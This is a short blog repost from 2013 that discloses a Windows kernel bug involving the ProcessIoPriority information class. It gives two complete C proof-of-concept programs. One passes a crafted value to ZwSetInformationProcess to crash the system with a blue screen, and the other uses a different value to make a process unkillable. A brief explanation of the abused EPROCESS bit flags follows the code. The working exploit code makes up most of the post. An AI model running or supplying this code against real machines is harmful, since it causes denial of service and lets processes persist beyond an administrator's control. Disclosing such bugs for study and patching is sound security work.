ProcessIoPriority Bug (BSOD/Non-Killable Process)

//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar

BSOD:
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0xFFFFFFFF;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Non-Killable Process:

#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0x8000F129;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.

Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html

☆版权☆

* 网站名称:obaby@mars
* 网址:https://h4ck.org.cn/
* 个性:https://oba.by/
* 本文标题: 《ProcessIoPriority Bug (BSOD/Non-Killable Process)》
* 本文链接:https://h4ck.org.cn/2013/03/5023
* 短链接:https://oba.by/?p=5023
* 转载文章请标明文章来源,原文标题以及原文链接。请遵从 《署名-非商业性使用-相同方式共享 2.5 中国大陆 (CC BY-NC-SA 2.5 CN) 》许可协议。


猜你喜欢:

2 comments

    1. 公主 Queen 
      Opera 12 Opera 12 Mac OS X 10.8 Mac OS X 10.8 cn福建省厦门市 电信

      作为一个地球人是不是感觉鸭梨很大呢。嘿嘿。开玩笑,噗

回复 obaby 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注